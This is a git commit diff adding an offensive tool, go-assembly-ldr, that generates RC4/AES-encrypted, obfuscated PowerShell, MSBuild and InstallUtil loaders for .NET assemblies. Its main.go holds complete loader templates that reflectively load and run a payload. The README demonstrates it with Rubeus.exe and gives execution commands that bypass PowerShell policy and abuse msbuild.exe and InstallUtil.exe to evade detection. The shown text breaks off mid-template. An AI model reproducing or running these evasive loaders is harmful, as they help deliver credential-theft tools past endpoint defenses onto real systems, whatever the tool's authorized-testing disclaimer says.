aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--.github/workflows/build-release.yaml35
-rw-r--r--Makefile52
-rw-r--r--README.md144
-rw-r--r--go.mod3
-rw-r--r--main.go660
5 files changed, 894 insertions, 0 deletions
diff --git a/.github/workflows/build-release.yaml b/.github/workflows/build-release.yaml
new file mode 100644
index 0000000..03c6deb
--- /dev/null
+++ b/.github/workflows/build-release.yaml
@@ -0,0 +1,35 @@
+name: Build and Release go-assembly-ldr
+
+on:
+ push:
+ tags:
+ - 'v*'
+
+permissions:
+ contents: write
+
+jobs:
+ build-and-release:
+ runs-on: ubuntu-latest
+ steps:
+ - name: Checkout code
+ uses: actions/checkout@v4
+ with:
+ fetch-depth: 0
+
+ - name: Set up Go
+ uses: actions/setup-go@v5
+ with:
+ go-version: '1.21.x'
+
+ - name: Build binaries
+ run: make all
+
+ - name: Release
+ uses: softprops/action-gh-release@v2
+ with:
+ files: build/*
+ draft: false
+ prerelease: false
+ env:
+ GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
diff --git a/Makefile b/Makefile
new file mode 100644
index 0000000..e7530cb
--- /dev/null
+++ b/Makefile
@@ -0,0 +1,52 @@
+PROJECT_NAME := go-assembly-ldr
+BUILD_DIR := build
+GOFLAGS := -ldflags "-s -w" -trimpath
+GO_BUILD := go build $(GOFLAGS)
+.PHONY: all clean linux windows darwin tidy
+
+all: tidy linux windows darwin
+
+$(BUILD_DIR):
+ mkdir -p $(BUILD_DIR)
+
+tidy:
+ go mod tidy
+
+linux: linux-amd64 linux-386
+
+linux-amd64: $(BUILD_DIR)/$(PROJECT_NAME)-linux-amd64
+
+$(BUILD_DIR)/$(PROJECT_NAME)-linux-amd64: tidy | $(BUILD_DIR)
+ GOOS=linux GOARCH=amd64 $(GO_BUILD) -o $(BUILD_DIR)/$(PROJECT_NAME)-linux-amd64
+
+linux-386: $(BUILD_DIR)/$(PROJECT_NAME)-linux-386
+
+$(BUILD_DIR)/$(PROJECT_NAME)-linux-386: tidy | $(BUILD_DIR)
+ GOOS=linux GOARCH=386 $(GO_BUILD) -o $(BUILD_DIR)/$(PROJECT_NAME)-linux-386
+
+windows: windows-amd64 windows-386
+
+windows-amd64: $(BUILD_DIR)/$(PROJECT_NAME)-windows-amd64.exe
+
+$(BUILD_DIR)/$(PROJECT_NAME)-windows-amd64.exe: tidy | $(BUILD_DIR)
+ GOOS=windows GOARCH=amd64 $(GO_BUILD) -o $(BUILD_DIR)/$(PROJECT_NAME)-windows-amd64.exe
+
+windows-386: $(BUILD_DIR)/$(PROJECT_NAME)-windows-386.exe
+
+$(BUILD_DIR)/$(PROJECT_NAME)-windows-386.exe: tidy | $(BUILD_DIR)
+ GOOS=windows GOARCH=386 $(GO_BUILD) -o $(BUILD_DIR)/$(PROJECT_NAME)-windows-386.exe
+
+darwin: darwin-amd64 darwin-arm64
+
+darwin-amd64: $(BUILD_DIR)/$(PROJECT_NAME)-darwin-amd64
+
+$(BUILD_DIR)/$(PROJECT_NAME)-darwin-amd64: tidy | $(BUILD_DIR)
+ GOOS=darwin GOARCH=amd64 $(GO_BUILD) -o $(BUILD_DIR)/$(PROJECT_NAME)-darwin-amd64
+
+darwin-arm64: $(BUILD_DIR)/$(PROJECT_NAME)-darwin-arm64
+
+$(BUILD_DIR)/$(PROJECT_NAME)-darwin-arm64: tidy | $(BUILD_DIR)
+ GOOS=darwin GOARCH=arm64 $(GO_BUILD) -o $(BUILD_DIR)/$(PROJECT_NAME)-darwin-arm64
+
+clean:
+ rm -rf $(BUILD_DIR)
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..d499727
--- /dev/null
+++ b/README.md
@@ -0,0 +1,144 @@
+# go-assembly-ldr
+
+`go-assembly-ldr` is an offensive security tool designed for generating encrypted and obfuscated loaders for .NET assemblies. It supports PowerShell, MSBuild, and InstallUtil loader types, with RC4 or AES encryption, and provides variable obfuscation to evade (some) detection.
+
+> **WARNING**: This tool is for **authorized security testing only**. Unauthorized use may violate laws and regulations. The author and contributors are not responsible for misuse. Always obtain explicit permission before testing any system.
+
+## Features
+
+- **Loader Types**: Generate PowerShell (`.ps1`), MSBuild (`.csproj`), or InstallUtil (`.cs`) loaders.
+- **Encryption**: Supports RC4 or AES (256-bit) encryption for assembly payloads.
+- **Obfuscation**: Randomizes variable names in generated loaders to hinder static analysis.
+- **Cross-Platform Builds**: Makefile supports building for Linux, Windows, and macOS (amd64, 386, arm64).
+- **Customizable**: Configurable key length, obfuscation length, and .NET architecture (x86/x64 for MSBuild).
+
+## Installation
+
+### Prerequisites
+
+- **Go**: Version 1.21 or later.
+- **Make**: For building with the provided Makefile.
+- **Git**: To clone the repository.
+
+### Steps
+
+- Clone the repository:
+
+```
+$ git clone https://github.com/your-username/go-assembly-ldr.git
+$ cd go-assembly-ldr
+```
+
+- Install dependencies:
+
+```
+$ go mod tidy
+```
+
+- Build for all platforms:
+
+```
+$ make all
+```
+
+- Binaries will be generated in the build/ directory for Linux, Windows, and macOS; alternatively, build for a specific platform:
+
+```
+$ make linux-amd64
+$ make windows-amd64
+$ make darwin-arm64
+```
+
+- (Optional) Run directly with Go:
+
+```
+$ go run main.go -f <input_file> -t <loader_type> -e <encryption_type>
+```
+
+## Usage
+
+### Command-Line Flags
+
+```
+Usage of ./go-assembly-ldr-<platform>-<arch>:
+ -dotnet-architecture string
+ .net architecture for msbuild: x86|x64 (default "x64")
+ -e string
+ encryption type: rc4|aes (default "rc4")
+ -f string
+ input file path
+ -key-len int
+ length of encryption key (default 32)
+ -obf-len int
+ length of obfuscated strings (default 8)
+ -t string
+ loader type: powershell|msbuild|installutil (default "powershell")
+```
+
+## Examples
+
+### Generate an PowerShell Loader with AES Encryption
+
+```
+$ build/go-assembly-ldr-linux-amd64 \
+ -f Rubeus.exe \
+ -t powershell \
+ -e aes \
+ -obf-len 10 \
+ -key-len 32
+```
+
+- Output: `Rubeus.exe_reflective.ps1`
+
+- Run with: `powershell -ExecutionPolicy Bypass -File Rubeus.exe_reflective.ps1`
+
+- Call the assembly method: `[<namespace>.<class>]::<method>("arg1 arg2".Split())`
+
+### Generate an MSBuild Loader with RC4 Encryption
+
+```
+$ build/go-assembly-ldr-linux-amd64 \
+ -f Rubeus.exe \
+ -t msbuild \
+ -e rc4 \
+ -obf-len 12 \
+ -key-len 16 \
+ -dotnet-architecture x86
+```
+
+- Output: `Rubeus.exe_msbuild.csproj`
+
+- Run with: `C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe Rubeus.exe_msbuild.csproj`
+
+- Modify `string[] <var> = new string[] { "" };` in the .csproj to add arguments
+
+### Generate an InstallUtil Loader with AES Encryption
+
+```
+$ build/go-assembly-ldr-linux-amd64 \
+ -f Rubeus.exe \
+ -t installutil \
+ -e aes \
+ -obf-len 8 \
+ -key-len 32
+```
+
+- Output: `Rubeus.cs`
+
+- Compile with: `C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /platform:x64 /out:Rubeus.exe Rubeus.cs`
+
+- Execute with: `C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /U /logfile= /LogToConsole=false Rubeus.exe`
+
+## Automated Releases
+
+Check the GitHub Releases page for the new release with attached binaries.
+
+## License
+
+This project is licensed under the GNU GENERAL PUBLIC LICENSE. See the LICENSE file for details.
+
+## Disclaimer
+
+`go-assembly-ldr` is provided "as is" without warranty. The author and contributors are not liable for any damages or legal consequences arising from its use. Use responsibly and only in authorized environments.
+
+
diff --git a/go.mod b/go.mod
new file mode 100644
index 0000000..d9aed84
--- /dev/null
+++ b/go.mod
@@ -0,0 +1,3 @@
+module go-assembly-ldr
+
+go 1.23.4
diff --git a/main.go b/main.go
new file mode 100644
index 0000000..f437f8a
--- /dev/null
+++ b/main.go
@@ -0,0 +1,660 @@
+package main
+
+import (
+ "crypto/aes"
+ "crypto/cipher"
+ cryptoRand "crypto/rand"
+ "encoding/base64"
+ "flag"
+ "fmt"
+ "io/ioutil"
+ mathRand "math/rand"
+ "os"
+ "path/filepath"
+ "regexp"
+ "strings"
+ "time"
+)
+
+const keySpace = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
+const keySpaceForKeys = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
+
+func rc4(key, data []byte) []byte {
+ s := make([]int, 256)
+ for i := 0; i < 256; i++ {
+ s[i] = i
+ }
+ j := 0
+ for i := 0; i < 256; i++ {
+ j = (j + s[i] + int(key[i%len(key)])) % 256
+ s[i], s[j] = s[j], s[i]
+ }
+
+ encrypted := make([]byte, len(data))
+ i, j := 0, 0
+ for k := 0; k < len(data); k++ {
+ i = (i + 1) % 256
+ j = (j + s[i]) % 256
+ s[i], s[j] = s[j], s[i]
+ t := (s[i] + s[j]) % 256
+ encrypted[k] = data[k] ^ byte(s[t])
+ }
+ return encrypted
+}
+
+func aesEncrypt(key, data []byte) ([]byte, []byte, error) {
+ block, err := aes.NewCipher(key)
+ if err != nil {
+ return nil, nil, fmt.Errorf("[err] failed to create AES cipher: %v", err)
+ }
+
+ iv := make([]byte, aes.BlockSize)
+ if _, err := cryptoRand.Read(iv); err != nil {
+ return nil, nil, fmt.Errorf("[err] failed to generate IV: %v", err)
+ }
+
+ paddedData := padData(data, aes.BlockSize)
+ ciphertext := make([]byte, len(paddedData))
+
+ mode := cipher.NewCBCEncrypter(block, iv)
+ mode.CryptBlocks(ciphertext, paddedData)
+
+ return ciphertext, iv, nil
+}
+
+func padData(data []byte, blockSize int) []byte {
+ padding := blockSize - len(data)%blockSize
+ padText := make([]byte, len(data)+padding)
+ copy(padText, data)
+ for i := len(data); i < len(padText); i++ {
+ padText[i] = byte(padding)
+ }
+ return padText
+}
+
+func encryptData(encryptionType string, key []byte, data []byte) (ciphertext []byte, iv []byte, err error) {
+ if encryptionType == "rc4" {
+ ciphertext = rc4(key, data)
+ return ciphertext, nil, nil
+ } else if encryptionType == "aes" {
+ ciphertext, iv, err = aesEncrypt(key, data)
+ if err != nil {
+ return nil, nil, err
+ }
+ return ciphertext, iv, nil
+ }
+ return nil, nil, fmt.Errorf("[err] unsupported encryption type: %s", encryptionType)
+}
+
+func generatePassword(length int) string {
+ b := make([]byte, length)
+ for i := range b {
+ b[i] = keySpaceForKeys[mathRand.Intn(len(keySpaceForKeys))]
+ }
+ return string(b)
+}
+
+func obfuscate(s string, length int) (string, error) {
+ if length <= 0 {
+ return "", fmt.Errorf("[err] length must be a positive integer")
+ }
+
+ placeholderValues := make(map[string]string)
+ re := regexp.MustCompile(`<%=obf (.*?) %>`)
+
+ result := re.ReplaceAllStringFunc(s, func(match string) string {
+ placeholder := re.FindStringSubmatch(match)[1]
+ if val, exists := placeholderValues[placeholder]; exists {
+ return val
+ }
+
+ var randomString strings.Builder
+ for i := 0; i < length; i++ {
+ randomString.WriteByte(keySpace[mathRand.Intn(len(keySpace))])
+ }
+ placeholderValues[placeholder] = randomString.String()
+ return placeholderValues[placeholder]
+ })
+
+ return result, nil
+}
+
+func generatePowerShellLdr(filePath string, obfuscationLength, keyLength int, encryptionType string) error {
+ data, err := ioutil.ReadFile(filePath)
+ if err != nil {
+ return fmt.Errorf("[err] failed to read file: %v", err)
+ }
+
+ key := []byte(generatePassword(keyLength))
+ ciphertext, iv, err := encryptData(encryptionType, key, data)
+ if err != nil {
+ return fmt.Errorf("[err] encryption failed: %v", err)
+ }
+
+ b64 := base64.StdEncoding.EncodeToString(ciphertext)
+ b64IV := ""
+ if encryptionType == "aes" {
+ b64IV = base64.StdEncoding.EncodeToString(iv)
+ }
+
+ baseName := filepath.Base(filePath)
+ assemblyName := strings.TrimSuffix(baseName, filepath.Ext(baseName)) + ".exe"
+ outputFile := fmt.Sprintf("%s_reflective.ps1", assemblyName)
+
+ template := ""
+ if encryptionType == "rc4" {
+ template = `
+function <%=obf RC4Decrypt %> {
+ param (
+ [byte[]]$<%=obf data %>,
+ [byte[]]$<%=obf key %>
+ )
+ $<%=obf S %> = 0..255
+ $<%=obf j %> = 0
+ for ($<%=obf i %> = 0; $<%=obf i %> -lt 256; $<%=obf i %>++) {
+ $<%=obf j %> = ($<%=obf j %> + $<%=obf S %>[$<%=obf i %>] + $<%=obf key %>[$<%=obf i %> % $<%=obf key %>.Length]) % 256
+ $<%=obf S %>[$<%=obf i %>], $<%=obf S %>[$<%=obf j %>] = $<%=obf S %>[$<%=obf j %>], $<%=obf S %>[$<%=obf i %>]
+ }
+ $<%=obf output %> = New-Object byte[] $<%=obf data %>.Length
+ $<%=obf i %> = 0
+ $<%=obf j %> = 0
+ for ($<%=obf k %> = 0; $<%=obf k %> -lt $<%=obf data %>.Length; $<%=obf k %>++) {
+ $<%=obf i %> = ($<%=obf i %> + 1) % 256
+ $<%=obf j %> = ($<%=obf j %> + $<%=obf S %>[$<%=obf i %>]) % 256
+ $<%=obf S %>[$<%=obf i %>], $<%=obf S %>[$<%=obf j %>] = $<%=obf S %>[$<%=obf j %>], $<%=obf S %>[$<%=obf i %>]
+ $<%=obf t %> = ($<%=obf S %>[$<%=obf i %>] + $<%=obf S %>[$<%=obf j %>]) % 256
+ $<%=obf output %>[$<%=obf k %>] = $<%=obf data %>[$<%=obf k %>] -bxor $<%=obf S %>[$<%=obf t %>]
+ }
+ return $<%=obf output %>
+}
+
+$<%=obf key %> = [System.Text.Encoding]::UTF8.GetBytes("{key}")
+$<%=obf bytes %> = [Convert]::FromBase64String("{b64}")
+[byte[]]$<%=obf decrypted %> = <%=obf RC4Decrypt %> -<%=obf data %> $<%=obf bytes %> -<%=obf key %> $<%=obf key %>
+[Reflection.Assembly]::Load($<%=obf decrypted %>)
+`
+ } else {
+ template = `
+function <%=obf AESDecrypt %> {
+ param($<%=obf aesKey %>, $<%=obf aesIv %>, $<%=obf encryptedAssembly %>)
+ $<%=obf iv %> = [Convert]::FromBase64String($<%=obf aesIv %>)
+ $<%=obf encryptedBytes %> = [Convert]::FromBase64String($<%=obf encryptedAssembly %>)
+ $<%=obf aes %> = New-Object Security.Cryptography.AesCryptoServiceProvider
+ $<%=obf aes %>.KeySize = 256
+ $<%=obf aes %>.BlockSize = 128
+ $<%=obf aes %>.Mode = [Security.Cryptography.CipherMode]::CBC
+ $<%=obf aes %>.Padding = [Security.Cryptography.PaddingMode]::PKCS7
+ $<%=obf aes %>.Key = [System.Text.Encoding]::UTF8.GetBytes($<%=obf aesKey %>)
+ $<%=obf aes %>.IV = $<%=obf iv %>
+ $<%=obf ms %> = New-Object System.IO.MemoryStream $<%=obf encryptedBytes %>, 0, $<%=obf encryptedBytes %>.Length
+ $<%=obf cs %> = New-Object Security.Cryptography.CryptoStream $<%=obf ms %>, $<%=obf aes %>.CreateDecryptor(), 0
+ $<%=obf cs %>.Read($<%=obf encryptedBytes %>, 0, $<%=obf encryptedBytes %>.Length) | Out-Null
+ return $<%=obf encryptedBytes %>
+}
+
+$<%=obf key %> = "{key}"
+$<%=obf iv %> = "{b64IV}"
+$<%=obf encryptedAssembly %> = "{b64}"
+
+[byte[]]$<%=obf decryptedBytes %> = <%=obf AESDecrypt %> -<%=obf aesKey %> $<%=obf key %> -<%=obf aesIv %> $<%=obf iv %> -<%=obf encryptedAssembly %> $<%=obf encryptedAssembly %>
+[Reflection.Assembly]::Load($<%=obf decryptedBytes %>)
+`
+ }
+
+ template = strings.ReplaceAll(template, "{key}", string(key))
+ template = strings.ReplaceAll(template, "{b64}", b64)
+ if encryptionType == "aes" {
+ template = strings.ReplaceAll(template, "{b64IV}", b64IV)
+ }
+
+ obfuscated, err := obfuscate(template, obfuscationLength)
+ if err != nil {
+ return fmt.Errorf("[err] obfuscation failed: %v", err)
+ }
+
+ err = ioutil.WriteFile(outputFile, []byte(obfuscated), 0644)
+ if err != nil {
+ return fmt.Errorf("[err] failed to write output file: %v", err)
+ }
+
+ fmt.Printf("[inf] created \"%s\" containing \"%s\"\n", outputFile, filePath)
+ fmt.Println("[inf] call assembly method with [<namespace>.<class>]::<method>(\"arg1 arg2\".Split())")
+ return nil
+}
+
+func generateMSBuildLdr(filePath string, obfuscationLength, keyLength int, dotnetArch, encryptionType string) error {
+ data, err := ioutil.ReadFile(filePath)
+ if err != nil {
+ return fmt.Errorf("[err] failed to read file: %v", err)
+ }
+
+ key := []byte(generatePassword(keyLength))
+ ciphertext, iv, err := encryptData(encryptionType, key, data)
+ if err != nil {
+ return fmt.Errorf("[err] encryption failed: %v", err)
+ }
+
+ b64 := base64.StdEncoding.EncodeToString(ciphertext)
+ b64IV := ""
+ if encryptionType == "aes" {
+ b64IV = base64.StdEncoding.EncodeToString(iv)
+ }
+
+ archPath := ""
+ if dotnetArch == "x86" {
+ archPath = ""
+ } else {
+ archPath = "64"
+ }
+
+ binSize := len(ciphertext)
+
+ baseName := filepath.Base(filePath)
+ assemblyName := strings.TrimSuffix(baseName, filepath.Ext(baseName)) + ".exe"
+ outputFile := fmt.Sprintf("%s_msbuild.csproj", assemblyName)
+
+ template := ""
+ if encryptionType == "rc4" {
+ template = `
+<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+ <Target Name="<%=obf GhostBuild %>">
+ <<%=obf GhostBuilder %>/>
+ </Target>
+ <UsingTask TaskName="<%=obf GhostBuilder %>" TaskFactory="CodeTaskFactory" AssemblyFile="C:\\Windows\\Microsoft.Net\\Framework<%=obf arch %>\\v4.0.30319\\Microsoft.Build.Tasks.v4.0.dll">
+ <ParameterGroup/>
+ <Task>
+ <Code Type="Class" Language="cs">
+ <![CDATA[
+ using System;
+ using System.IO;
+ using System.Reflection;
+ using System.Text;
+ using Microsoft.Build.Framework;
+ using Microsoft.Build.Utilities;
+
+ public class <%=obf GhostBuilder %> : Task, ITask {
+ public static byte[] <%=obf RC4 %>(byte[] <%=obf pwd %>, byte[] <%=obf data %>) {
+ int <%=obf a %>, <%=obf i %>, <%=obf j %>, <%=obf k %>, <%=obf tmp %>;
+ int[] <%=obf key %> = new int[256];
+ int[] <%=obf box %> = new int[256];
+ byte[] <%=obf cipher %> = new byte[<%=obf data %>.Length];
+ for (<%=obf i %> = 0; <%=obf i %> < 256; <%=obf i %>++) {
+ <%=obf key %>[<%=obf i %>] = <%=obf pwd %>[<%=obf i %> % <%=obf pwd %>.Length];
+ <%=obf box %>[<%=obf i %>] = <%=obf i %>;
+ }
+ for (<%=obf j %> = <%=obf i %> = 0; <%=obf i %> < 256; <%=obf i %>++) {
+ <%=obf j %> = (<%=obf j %> + <%=obf box %>[<%=obf i %>] + <%=obf key %>[<%=obf i %>]) % 256;
+ <%=obf tmp %> = <%=obf box %>[<%=obf i %>];
+ <%=obf box %>[<%=obf i %>] = <%=obf box %>[<%=obf j %>];
+ <%=obf box %>[<%=obf j %>] = <%=obf tmp %>;
+ }
+ for (<%=obf a %> = <%=obf j %> = <%=obf i %> = 0; <%=obf i %> < <%=obf data %>.Length; <%=obf i %>++) {
+ <%=obf a %>++;
+ <%=obf a %> %= 256;
+ <%=obf j %> += <%=obf box %>[<%=obf a %>];
+ <%=obf j %> %= 256;
+ <%=obf tmp %> = <%=obf box %>[<%=obf a %>];
+ <%=obf box %>[<%=obf a %>] = <%=obf box %>[<%=obf j %>];
+ <%=obf box %>[<%=obf j %>] = <%=obf tmp %>;
+ <%=obf k %> = <%=obf box %>[(<%=obf box %>[<%=obf a %>] + <%=obf box %>[<%=obf j %>]) % 256];
+ <%=obf cipher %>[<%=obf i %>] = (byte)(<%=obf data %>[<%=obf i %>] ^ <%=obf k %>);
+ }
+ return <%=obf cipher %>;
+ }
+
+ public override bool Execute() {
+ string[] <%=obf args %> = new string[] { "" };
+ string <%=obf encodedBin %> = "{b64}";
+ int <%=obf binSize %> = {binSize};
+ string <%=obf key %> = "{key}";
+
+ byte[] <%=obf bytesBin %> = new byte[<%=obf binSize %>];
+ using (MemoryStream <%=obf inputStream %> = new MemoryStream(Convert.FromBase64String(<%=obf encodedBin %>))) {
+ <%=obf inputStream %>.Read(<%=obf bytesBin %>, 0, <%=obf binSize %>);
+ }
+ byte[] <%=obf final %> = <%=obf RC4 %>(Encoding.UTF8.GetBytes(<%=obf key %>), <%=obf bytesBin %>);
+ Assembly <%=obf assembly %> = Assembly.Load(<%=obf final %>);
+ <%=obf assembly %>.EntryPoint.Invoke(null, new object[] { <%=obf args %> });
+ return true;
+ }
+ }
+ ]]>
+ </Code>
+ </Task>
+ </UsingTask>
+</Project>
+`
+ } else {
+ template = `
+<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+ <Target Name="<%=obf GhostBuild %>">
+ <<%=obf GhostBuilder %>/>
+ </Target>
+ <UsingTask TaskName="<%=obf GhostBuilder %>" TaskFactory="CodeTaskFactory" AssemblyFile="C:\\Windows\\Microsoft.Net\\Framework<%=obf arch %>\\v4.0.30319\\Microsoft.Build.Tasks.v4.0.dll">
+ <ParameterGroup/>
+ <Task>
+ <Code Type="Class" Language="cs">
+ <![CDATA[
+ using System;
+ using System.IO;
+ using System.Reflection;
+ using System.Text;
+ using System.Security.Cryptography;
+ using Microsoft.Build.Framework;
+ using Microsoft.Build.Utilities;
+
+ public class <%=obf GhostBuilder %> : Task, ITask {
+ public static byte[] <%=obf AesDecrypt %>(byte[] <%=obf cipherText %>, byte[] <%=obf key %>, byte[] <%=obf iv %>) {
+ using (Aes <%=obf aesAlg %> = Aes.Create()) {
+ <%=obf aesAlg %>.KeySize = 256;
+ <%=obf aesAlg %>.BlockSize = 128;
+ <%=obf aesAlg %>.Mode = CipherMode.CBC;
+ <%=obf aesAlg %>.Padding = PaddingMode.PKCS7;
+ <%=obf aesAlg %>.Key = <%=obf key %>;
+ <%=obf aesAlg %>.IV = <%=obf iv %>;
+ ICryptoTransform <%=obf decryptor %> = <%=obf aesAlg %>.CreateDecryptor(<%=obf aesAlg %>.Key, <%=obf aesAlg %>.IV);
+ using (MemoryStream <%=obf msDecrypt %> = new MemoryStream()) {
+ using (CryptoStream <%=obf csDecrypt %> = new CryptoStream(<%=obf msDecrypt %>, <%=obf decryptor %>, CryptoStreamMode.Write)) {
+ <%=obf csDecrypt %>.Write(<%=obf cipherText %>, 0, <%=obf cipherText %>.Length);
+ <%=obf csDecrypt %>.FlushFinalBlock();
+ }
+ return <%=obf msDecrypt %>.ToArray();
+ }
+ }
+ }
+
+ public override bool Execute() {
+ string[] <%=obf args %> = new string[] { "" };
+ string <%=obf encodedBin %> = "{b64}";
+ int <%=obf binSize %> = {binSize};
+ byte[] <%=obf key %> = Encoding.UTF8.GetBytes("{key}");
+ byte[] <%=obf iv %> = Convert.FromBase64String("{b64IV}");
+ byte[] <%=obf bytesBin %> = new byte[<%=obf binSize %>];
+ using (MemoryStream <%=obf inputStream %> = new MemoryStream(Convert.FromBase64String(<%=obf encodedBin %>))) {
+ <%=obf inputStream %>.Read(<%=obf bytesBin %>, 0, <%=obf binSize %>);
+ }
+ byte[] <%=obf final %> = <%=obf AesDecrypt %>(<%=obf bytesBin %>, <%=obf key %>, <%=obf iv %>);
+ Assembly <%=obf assembly %> = Assembly.Load(<%=obf final %>);
+ <%=obf assembly %>.EntryPoint.Invoke(null, new object[] { <%=obf args %> });
+ return true;
+ }
+ }
+ ]]>
+ </Code>
+ </Task>
+ </UsingTask>
+</Project>
+`
+ }
+
+ template = strings.ReplaceAll(template, "{key}", string(key))
+ template = strings.ReplaceAll(template, "{b64}", b64)
+ template = strings.ReplaceAll(template, "{binSize}", fmt.Sprintf("%d", binSize))
+ template = strings.ReplaceAll(template, "<%=obf arch %>", archPath)
+ if encryptionType == "aes" {
+ template = strings.ReplaceAll(template, "{b64IV}", b64IV)
+ }
+
+ obfuscated, err := obfuscate(template, obfuscationLength)
+ if err != nil {
+ return fmt.Errorf("[err] obfuscation failed: %v", err)
+ }
+
+ err = ioutil.WriteFile(outputFile, []byte(obfuscated), 0644)
+ if err != nil {
+ return fmt.Errorf("[err] failed to write output file: %v", err)
+ }
+
+ fmt.Printf("[inf] created \"%s\" containing \"%s\"\n", outputFile, filePath)
+ fmt.Println("[inf] change \"string[] <var> = new string[] { \"\" };\" to add arguments")
+ return nil
+}
+
+func generateInstallUtilLdr(filePath string, obfuscationLength, keyLength int, encryptionType string) error {
+ data, err := ioutil.ReadFile(filePath)
+ if err != nil {
+ return fmt.Errorf("[err] failed to read file: %v", err)
+ }
+
+ key := []byte(generatePassword(keyLength))
+ ciphertext, iv, err := encryptData(encryptionType, key, data)
+ if err != nil {
+ return fmt.Errorf("[err] encryption failed: %v", err)
+ }
+
+ b64 := base64.StdEncoding.EncodeToString(ciphertext)
+ b64IV := ""
+ if encryptionType == "aes" {
+ b64IV = base64.StdEncoding.EncodeToString(iv)
+ }
+
+ binSize := len(ciphertext)
+
+ baseName := filepath.Base(filePath)
+ assemblyName := strings.TrimSuffix(baseName, filepath.Ext(baseName))
+ outputFile := fmt.Sprintf("%s.cs", assemblyName)
+
+ template := ""
+ if encryptionType == "rc4" {
+ template = `
+using System;
+using System.IO;
+using System.Text;
+using System.Reflection;
+using System.Configuration.Install;
+
+namespace <%=obf Namespace %>
+{
+ public class <%=obf Program %>
+ {
+ public static void Main(string[] args)
+ {}
+ }
+
+ [System.ComponentModel.RunInstaller(true)]
+ public class <%=obf Installer %> : Installer
+ {
+ public static byte[] <%=obf RC4 %>(byte[] <%=obf pwd %>, byte[] <%=obf data %>)
+ {
+ int <%=obf a %>, <%=obf i %>, <%=obf j %>, <%=obf k %>, <%=obf tmp %>;
+ int[] <%=obf key %> = new int[256];
+ int[] <%=obf box %> = new int[256];
+ byte[] <%=obf cipher %> = new byte[<%=obf data %>.Length];
+ for (<%=obf i %> = 0; <%=obf i %> < 256; <%=obf i %>++)
+ {
+ <%=obf key %>[<%=obf i %>] = <%=obf pwd %>[<%=obf i %> % <%=obf pwd %>.Length];
+ <%=obf box %>[<%=obf i %>] = <%=obf i %>;
+ }
+ for (<%=obf j %> = <%=obf i %> = 0; <%=obf i %> < 256; <%=obf i %>++)
+ {
+ <%=obf j %> = (<%=obf j %> + <%=obf box %>[<%=obf i %>] + <%=obf key %>[<%=obf i %>]) % 256;
+ <%=obf tmp %> = <%=obf box %>[<%=obf i %>];
+ <%=obf box %>[<%=obf i %>] = <%=obf box %>[<%=obf j %>];
+ <%=obf box %>[<%=obf j %>] = <%=obf tmp %>;
+ }
+ for (<%=obf a %> = <%=obf j %> = <%=obf i %> = 0; <%=obf i %> < <%=obf data %>.Length; <%=obf i %>++)
+ {
+ <%=obf a %>++;
+ <%=obf a %> %= 256;
+ <%=obf j %> += <%=obf box %>[<%=obf a %>];
+ <%=obf j %> %= 256;
+ <%=obf tmp %> = <%=obf box %>[<%=obf a %>];
+ <%=obf box %>[<%=obf a %>] = <%=obf box %>[<%=obf j %>];
+ <%=obf box %>[<%=obf j %>] = <%=obf tmp %>;
+ <%=obf k %> = <%=obf box %>[(<%=obf box %>[<%=obf a %>] + <%=obf box %>[<%=obf j %>]) % 256];
+ <%=obf cipher %>[<%=obf i %>] = (byte)(<%=obf data %>[<%=obf i %>] ^ <%=obf k %>);
+ }
+ return <%=obf cipher %>;
+ }
+
+ public override void Uninstall(System.Collections.IDictionary savedState)
+ {
+ try
+ {
+ string[] <%=obf args %> = new string[] { "" };
+ string <%=obf encodedBin %> = "{b64}";
+ int <%=obf binSize %> = {binSize};
+ string <%=obf key %> = "{key}";
+
+ byte[] <%=obf bytesBin %> = new byte[<%=obf binSize %>];
+ using (MemoryStream <%=obf inputStream %> = new MemoryStream(Convert.FromBase64String(<%=obf encodedBin %>)))
+ {
+ <%=obf inputStream %>.Read(<%=obf bytesBin %>, 0, <%=obf binSize %>);
+ }
+ byte[] <%=obf final %> = <%=obf RC4 %>(Encoding.UTF8.GetBytes(<%=obf key %>), <%=obf bytesBin %>);
+ Assembly <%=obf assembly %> = Assembly.Load(<%=obf final %>);
+ <%=obf assembly %>.EntryPoint.Invoke(null, new object[] { <%=obf args %> });
+ }
+ catch (Exception) {}
+ base.Uninstall(savedState);
+ }
+ }
+}
+`
+ } else {
+ template = `
+using System;
+using System.IO;
+using System.Text;
+using System.Reflection;
+using System.Configuration.Install;
+using System.Security.Cryptography;
+
+namespace <%=obf Namespace %>
+{
+ public class <%=obf Program %>
+ {
+ public static void Main(string[] args)
+ {}
+ }
+
+ [System.ComponentModel.RunInstaller(true)]
+ public class <%=obf Installer %> : Installer
+ {
+ public static byte[] <%=obf AesDecrypt %>(byte[] <%=obf cipherText %>, byte[] <%=obf key %>, byte[] <%=obf iv %>)
+ {
+ using (Aes <%=obf aesAlg %> = Aes.Create())
+ {
+ <%=obf aesAlg %>.KeySize = 256;
+ <%=obf aesAlg %>.BlockSize = 128;
+ <%=obf aesAlg %>.Mode = CipherMode.CBC;
+ <%=obf aesAlg %>.Padding = PaddingMode.PKCS7;
+ <%=obf aesAlg %>.Key = <%=obf key %>;
+ <%=obf aesAlg %>.IV = <%=obf iv %>;
+ ICryptoTransform <%=obf decryptor %> = <%=obf aesAlg %>.CreateDecryptor(<%=obf aesAlg %>.Key, <%=obf aesAlg %>.IV);
+ using (MemoryStream <%=obf msDecrypt %> = new MemoryStream())
+ {
+ using (CryptoStream <%=obf csDecrypt %> = new CryptoStream(<%=obf msDecrypt %>, <%=obf decryptor %>, CryptoStreamMode.Write))
+ {
+ <%=obf csDecrypt %>.Write(<%=obf cipherText %>, 0, <%=obf cipherText %>.Length);
+ <%=obf csDecrypt %>.FlushFinalBlock();
+ }
+ return <%=obf msDecrypt %>.ToArray();
+ }
+ }
+ }
+
+ public override void Uninstall(System.Collections.IDictionary savedState)
+ {
+ try
+ {
